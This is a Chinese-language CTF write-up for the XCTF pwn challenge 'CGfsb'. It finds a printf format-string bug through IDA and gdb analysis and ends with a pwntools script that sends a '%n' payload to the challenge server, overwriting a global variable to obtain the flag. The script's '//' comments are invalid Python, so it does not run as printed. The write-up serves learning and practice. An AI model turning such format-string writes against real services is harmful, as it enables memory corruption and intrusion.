攻防世界-pwn CGfsb (格式化字符串)

攻防世界-pwn CGfsb (格式化字符串)_第1张图片

0x01

拿到题目之后首先分析文件

攻防世界-pwn CGfsb (格式化字符串)_第2张图片

得到信息:

  • 32bit ELF可执行文件
  • 未开启PIE(即静态反汇编的地址可以直接使用)

0x02 执行文件

攻防世界-pwn CGfsb (格式化字符串)_第3张图片
执行文件之后发现程序接收两个输入并将其原样输出

 

0x03 利用IDA反汇编

攻防世界-pwn CGfsb (格式化字符串)_第4张图片
发现flag,需要将pwnme的值改为8才能拿到flag
在这里插入图片描述
通过查找发现pwnme在bss段,并且在程序之中用到了printf,可以考虑用格式化字符串漏洞将pwnme的值改掉。
攻防世界-pwn CGfsb (格式化字符串)_第5张图片
由于没有PIE保护,IDA所展示的地址即是程序运行时所用的地址
 

0x04 gdb调试查看栈

之后再利用gdb查看堆栈地址
在第二个printf(0x080680CD)处设置断点,然后运行程序
攻防世界-pwn CGfsb (格式化字符串)_第6张图片
一个寄存器相当于4个字节32位,栈空间的存储也是按照32位存储。可以看到输入的字符开始的栈空间的偏移量为10(第一个栈空间偏移量为0),并且没有占用前面的部分栈空间。
 

0x05 payload

exp:

from pwn import *

p = remote('111.198.29.45',41816)

p.recvuntil('please tell me your name:')
p.sendline('qin')

p.recvuntil('leave your message please:')
p.sendline(p32(0x0804A068) + '%4c%10$n')//将pwnme中的内容改为8
//p32(0x0804A068)会输出四个字符,%4c也会输出四个字符
//%10$n  将%n之前打印的字符数量放入指定地址内部
//之前打印了8个字符,指定地址为偏移量为10的栈空间所指向的地址空间
//所以pwnme所在的空间内容就被更改为之前所输出的字符数量8
p.interactive()

攻防世界-pwn CGfsb (格式化字符串)_第7张图片
成功获取flag

你可能感兴趣的:(ctf_pwn)